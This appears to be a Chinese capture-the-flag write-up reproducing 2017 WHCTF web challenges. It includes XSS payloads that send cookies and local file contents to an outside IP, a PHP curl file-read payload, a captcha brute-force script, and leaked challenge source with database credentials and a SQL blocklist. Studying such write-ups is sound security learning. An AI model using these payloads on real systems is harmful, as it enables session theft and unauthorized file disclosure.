[2017WHCTF] Web详细复现(伪)WP
这次Web。。。Orz真的做不出来啊! 所以大佬们一出的wp就赶紧屁颠屁颠去复现了。。。 复现完写下这些伪wp:(有些题目环境已经挂掉了没办法复现Orz) 本人菜鸡。。。Orz如有说错或者对题目理解错误请各位表哥一定要指正 感激不尽!
Router
emmm过了好久才发现漏了一题Orz。。其实这题是最有趣的 可惜了现在找不到啥截图了。。 首先题目提供了一个url和一个附件
首先进去目标网站先扫一下扫到export.php 进去之后下载得到一个settings.conf文件,打开之后没啥用 不知道是啥 然后附件 binwalk一下之后出现了一个elf文件,checksec一下
扔进gdb跑一下,在大概0x435f4c的位置程序会dump出一个settings.conf文件,然后在大概0x4013c3的位置栈中会出现账号密码
直接拿这个账号密码登上去是登不了的,所以拿我们在export.php下载到的文件替换掉,看看能不能读取到里面的账号密码
结果读到了
emmm我看其他大佬的wp里面密码是不一样的 估计是被搅屎改掉了 然后我上了之后也改掉了23333 之后在里面会有一个带有参数action的ajax交互,把action改成不存在的一个就能得到flag。。。Orz。。。逼死Web狗。。。
再说一个浩子哥哥发现的一个官方后门rce 详情:https://mp.weixin.qq.com/s/XBBx0rWZu9bAwt62F6Ai8g
CAT
-
一开始以为这道题是常规的命令执行 然后简单的fuzz之后发现过滤了N多个字符,百思不得其解后主办方看不下去了,给了hint是
RTFM of PHP CURL
唔。。然后去看了挺久的手册。。发现还是没啥收获,然后思路就变成了用file协议去读文件 然后就跑偏了23333 -
正确的思路应该是 将全部字符fuzz一遍 然后发现输入%FF报错,查看报错结果是Python Django,debug没关然后看到关键代码:
这里有疑问就是为什么会有/api/ping的请求呢? 因为我们在题目中并没有这样的url可以访问 并且在ping函数之前是执行了14-21行的代码合并了一个上传的文件(???我们没上传文件呀) 结合之前django报错并不是html渲染后的结果 而是类似于PHP的show_source(特殊符号被转译)和hint 这里就有理由充分猜测后台运行了两个应用,一个是暴露给我们的PHP应用,一个是处理通过PHP发送的请求的Django 这里没有报Invalid Url错误是因为在正则之前有一个转码的过程 Django使用的是GBK编码,而我们发送的%FF并不在其编码表中有意义,(%F7也是)所以就会转码错误,抛出django的exception,不会进入下一步的正则。 而关键部分就是PHP是使用CURL来请求django应用API的,这里触及到了一个知识盲区Orz 就是CURLOPT_POSTFILES 官方文档描述如下:
如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求 结合GBK的特性如果遇到编码不了就会抛出错误的特性 也就是说如果我们去请求一个内容存在GBK不能编码的序列就能通过debug页面把文件内容爆出来,通过debug页面能得到绝对路径 emm然后比较容易想到的就是database.sqlite3文件了
- poc:
(flag在右下角)
- payload:?url=@/opt/api/database.sqlite3
Emmmm
- 因为题目环境挂了 先挖坑。。以后搭好环境再填
- 大佬们的做法是从phpinfo中获取到开启了xdebug远程调试,然后Vim+DBGP+xdebug进行远程执行代码
Not only XSS
- 简单尝试了一下直接丢js代码发现是可用请求到的
<script>window.location.href="http://139.199.206.219:2333/"+document.cookie</script>
然后cookie是空的 Web服务器是PhantomJS 这个服务器有一个特点—PhantomJS是无界面浏览器(headless browser)客户端 支持file协议 所以是可以读取静态文件的 然后看到Referer很奇怪 是一个静态文件? 打开这个静态文件之后发现是我们刚才发送的内容 那这里大概能猜到bot是直接打开本地静态文件的 然后思路大概就出来了 去读源码 但是现在并不知道要读哪里的源码 扫一波(自家扫描器 https://github.com/Pr0phet/ProScanner))
扫出来flag.php 那估计是要读这里的源码了
- payload:
<script>
var xhr = new XMLHttpRequest();xhr.open("GET", "file:///var/www/html/flag.php", true);xhr.onload = function() {content = btoa(xhr.responseText);window.location.href = "http://139.199.206.219:2333/wtf.php?a=" + content;};xhr.send(null);
</script>
- poc:
base64解码后即为
<?php
$flag="WHCTF{phant0mjs_c4n_open_f1les_1n_webp4ge}";
echo "Flag is here! But nobody can got it!";
?>
ps:附上自己写的爆破验证码的脚本,效率还阔以 4位数基本在10秒之内能爆破出来,5位数的话大概也是15秒-20秒左右, 当然。。全靠运气
#coding:utf8
#Author: Pr0ph3t
# import requests
import string
import random
import hashlib
import re
import sys
#用法:python 此文件 想要爆破的验证码
url = 'http://web.jarvisoj.com:32800/'
# se = requests.Session()
# res = se.get(url)
# code = re.findall('.+substr\(\$verify,0,4\) === \'(.*)\'.+',res.content)[0]
preCode = sys.argv[1]
numToCrack = 5 #爆破的位数
i = 0
while 1:
i += 1
print '[*] 第' + str(i) + '次碰撞'
testStr = ''.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',numToCrack)).strip()
testCode = hashlib.md5(testStr).hexdigest()[0:numToCrack]
if testCode == preCode:
print testStr
exit()
pss:对题目比较感兴趣所以把源码也读下来了
- index.php
<?php
include("csp.php");
include("conn.php");
session_start();
if(isset($_POST['name'])&&isset($_POST['verify'])&&isset($_POST['phone'])&&isset($_POST['secret'])&&isset($_POST['email'])){
$name=Filter($_POST['name']);
$verify=Filter($_POST['verify']);
$phone=Filter($_POST['phone']);
$email=Filter($_POST['email']);
$secret=Filter($_POST['secret']);
if($name===""||$verify===""||$phone===""||$secret===""||$email===""){
die("Please Complete the form!");
}
else if(substr(md5($verify),0,5)!==$_SESSION['md5']){
die("verify error!");
}
else{
$id=md5($secret.time().mt_rand(1,100000));
mysql_query("insert into $TBNAME values('".$id."','".$name."','".$email."','".$phone."','".$secret."',false);");
die("Admin has got your secret and will read it soon.");
}
}
?>
<!DOCTYPE HTML>
<html>
<head>
<title>Easy XSS game</title>
<link href="css/style.css" rel="stylesheet" type="text/css" media="all"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="css/font-awesome.css" rel="stylesheet">
</head>
<body>
<div class="wthree-dot">
<h1>Tell your secret to me</h1>
<div class="profile">
<div class="wrap">
<div class="contact-form">
<form action="#" method="post">
<div class="w3l-contact-left">
<div class="styled-input agile-styled-input-top">
<input type="text" name="name" required="">
<label>Name</label>
<span></span>
</div>
<div class="styled-input">
<input type="email" name="email" required="">
<label>Email</label>
<span></span>
</div>
<div class="styled-input">
<input type="text" name="phone" required="">
<label>Phone</label>
<span></span>
</div>
<div class="styled-input">
<input type="text" name="verify" required="">
<label>verify</label>
<span></span>
</div>
<?php
$rand=generate_md5();
echo "<h2 style='color:#999999'>( PS :substr(md5(\$verify),0,5) === '".$rand."' )</h2>";
$_SESSION['md5']=$rand;
?>
</div>
<div class="w3l-contact-right">
<div class="styled-input agileits-input">
<textarea name="secret" required=""></textarea>
<label>Secret</label>
<span></span>
</div>
<input type="submit" value="SEND">
</div>
<div class="clear"> </div>
</form>
</div>
</div>
</div>
</div>
</body>
</html>
- csp.php
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';style-src 'self' 'unsafe-inline';img-src *;");
?>
- conn.php
<?php
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "whctfxss";
$DBNAME = "xss";
$TBNAME = "xss";
$TBCOLUMN=Array(
"id"=>"id",
"name"=>"name",
"phone"=>"phone",
"secret"=>"secret",
"hasread"=>"hasread",
);
function generate_md5(){
$number=mt_rand(0,1000000);
$rand=md5($number);
return substr($rand,0,5);
};
function Filter($string){
$blacklist = "sleep|benchmark|information|order|limit|load_file|select|union|system|alter|show|outfile|dumpfile|into|execute|column|table|extractvalue|floor|update|insert|delete";
$whitechar = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'()._*`-@=+><\"{};/: ?,";
for ($i=0;$i<strlen($string);$i++){
if (strpos("$whitechar",$string[$i])===false){
return "hacker!";
}
}
if (preg_match("/$blacklist/is",$string)){
return "hacker!";
}
if (is_string($string)){
return addslashes($string);
} else {
return "";
}
}
$conn=mysql_connect($DBHOST,$DBUSER,$DBPASS);
mysql_query("use {$DBNAME}");
?>
这里有遇到了一个问题就是poc换行之后不奏效 不知道各位表哥会不会遇到这个情况Orz
Scanner
emmm这题环境也关掉了 无法复现。。 我一开始还天真的以为flag藏在各种各样的文件夹里面。。然后就去傻乎乎的改自己的扫描器。。。(还没改完) 但是根据表哥们的wp 思路大致是这样的: 查看到可疑请求 —-http://118.31.18.64:20008/c181948a9bdee64753468823ac57a870/github.com/getimg.php?pic=xxx.png 随后跟进测试发现此php可以实现任意文件读取 读取 /etc/passwd后发现flag用户 最后读取此用户home目录下的flag
表哥们的wp
Kap0k : http://www.kap0k.com/archives/948 浩子哥哥 : https://mp.weixin.qq.com/s/XBBx0rWZu9bAwt62F6Ai8g 并且宣传一波浩子哥哥的公众号 : HenceTech
Did you like the post? Subscribe to the feed.